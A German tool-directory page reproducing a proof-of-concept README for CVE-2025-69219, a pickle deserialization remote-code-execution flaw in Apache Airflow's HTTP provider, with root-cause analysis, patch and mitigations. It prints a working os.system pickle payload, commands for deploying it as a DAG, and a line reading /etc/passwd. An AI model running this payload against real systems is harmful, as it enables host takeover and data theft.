Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-69219 — Proof-of-Concept-Exploit für CVE-2025-69219, der Remote-Codeausführung in Apache Airflow Providers HTTP über unsichere Pickle-Deserialisierung demonstriert. Enthält PoC-Skripte, technische Analyse und Minderungsanleitung. | Kitploit
Tools/GitHubGitHub/sak110/cve-2025-69219
SchwachstellenanalyseExploitationPapers & ForschungLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHubsak110/cve-2025-69219

CVE-2025-69219

Proof-of-Concept-Exploit für CVE-2025-69219, der Remote-Codeausführung in Apache Airflow Providers HTTP über unsichere Pickle-Deserialisierung demonstriert. Enthält PoC-Skripte, technische Analyse und Minderungsanleitung.

Repository anzeigen
731vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-69219 — Apache Airflow Providers HTTP RCE durch unsichere Pickle-Deserialisierung

Schweregrad: Hoch (CVSS 3.1: 8.8)
Vektor: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Unzureichende Kontrolle dynamisch verwalteter Code-Ressourcen
Betroffen: apache-airflow-providers-http >= 5.1.0, < 6.0.0
Behoben in: apache-airflow-providers-http == 6.0.0
Patch: apache/airflow#61662 · commit 97839f7


Überblick

Der HTTP-Provider von Apache Airflow verwendete das Python-Modul pickle, um HTTP-Trigger-Antworten für verzögerte Tasks zu serialisieren und zu deserialisieren. Der verwundbare Sink in HttpOperator.execute_complete() sah wie folgt aus:

root@kitploit:~
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

Das event-Dictionary wird aus der Airflow-Datenbank gelesen, was bedeutet, dass jede Entität (Principal) mit Schreibzugriff auf die Datenbank eine bösartige Pickle-Nutzlast einschleusen kann. Wenn der Triggerer-Worker den verzögerten Task verarbeitet, deserialisiert er diese Nutzlast blind und führt dabei beliebige Betriebssystembefehle mit den Berechtigungen des Triggerer-Prozesses aus — gleichwertig mit einem DAG-Autor.


Grundursache

pickle.loads() mit nicht vertrauenswürdigen Daten ist grundsätzlich eine unsichere Operation. Das __reduce__-Protokoll von Pickle erlaubt es, beliebige aufrufbare Python-Objekte in den serialisierten Blob einzubetten und während der Deserialisierung ohne Sandboxing aufzurufen.

Der Airflow-Triggerer serialisiert die HTTP-Antwort zum Zeitpunkt des Abschlusses und speichert sie in der Datenbank:

root@kitploit:~
# triggers/http.py (pre-patch)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

Ein Angreifer mit Datenbankzugriff ersetzt diesen Wert durch einen präparierten Pickle-Blob, z. B.:

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

Der Triggerer ruft dann execute_complete → pickle.loads() → RCE auf.


Der Fix (6.0.0)

Der Patch ersetzt Pickle vollständig durch einen sicheren, expliziten JSON-Serialisierer:

root@kitploit:~
# triggers/http.py (post-patch)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # JSON dict
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
    raise TypeError("Response data must be a dict, got str")

Der neue Deserialisierer rekonstruiert nur ein requests.Response-Objekt aus bekannten Feldern (status_code, headers, content usw.) — beliebige Codeausführung ist nicht möglich.


PoC

Voraussetzungen

root@kitploit:~
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

Modus 1 — Lokale Simulation (kein Airflow erforderlich)

Reproduziert den verwundbaren pickle.loads()-Aufruf im selben Prozess:

root@kitploit:~
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"

Beispielausgabe:

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] Command       : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system returned: 0  (0 = success)

Modus 2 — Vollständige DAG-Bereitstellung (erfordert eine laufende Airflow-Instanz mit providers-http < 6.0.0)

root@kitploit:~
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"

# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc

Prüfen Sie die Task-Logs auf die Befehlsausgabe.

Rohe Nutzlast ausgeben

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

Auswirkungen

FaktorDetail
Wer kann ausnutzenJeder Benutzer mit direktem Schreibzugriff auf die Airflow-Datenbank
AusführungskontextTriggerer-Worker-Prozess (gleiche Berechtigungen wie ein DAG-Autor)
WahrscheinlichkeitGering — direkter Datenbankzugriff ist in gut konfigurierten Bereitstellungen unüblich
Blast-RadiusVollständige Host-RCE auf dem Triggerer-Knoten: Datenexfiltration, laterale Bewegung, Persistenz

Gegenmaßnahmen

  1. Aktualisieren Sie apache-airflow-providers-http auf 6.0.0 oder höher.
  2. Beschränken Sie den Datenbankzugriff — nur die Dienstkonten des Airflow-Schedulers/Webservers sollten Schreibzugriff auf die Metadaten-Datenbank haben.
  3. Stellen Sie vor dem Upgrade sicher, dass alle verzögerten HTTP-Tasks (deferrable=True) abgeschlossen oder gelöscht wurden, da mit Pickle serialisierte, laufende Tasks nach dem Upgrade eine TypeError auslösen (Breaking Change, im Provider-Changelog dokumentiert).
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

Zeitleiste

DatumEreignis
2026-03-09CVE von der Apache Software Foundation veröffentlicht
2026-03-09Fix zusammengeführt (PR #61662, Commit 97839f7)
2026-03-09Auf der Mailingliste oss-security offengelegt

Referenzen

  • CVE-2025-69219 im NVD
  • GitHub Advisory GHSA-9r5j-7r2x-rv4g
  • Patch PR #61662
  • Patch-Commit 97839f7
  • oss-security-Offenlegung

Credits

  • skypher — Entdecker
  • Shauryae1337 — Entdecker
  • ahmetartuc — Entdecker und Autor des ursprünglichen PoC (poc-cve-2025-69219)

Der PoC in diesem Repository basiert auf der ursprünglichen Arbeit von @ahmetartuc.


Haftungsausschluss

Dieser Proof-of-Concept wird ausschließlich zu Bildungs- und Sicherheitsforschungszwecken veröffentlicht. Testen Sie nur Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Die Autoren übernehmen keine Verantwortung für Missbrauch.

Tool herunterladen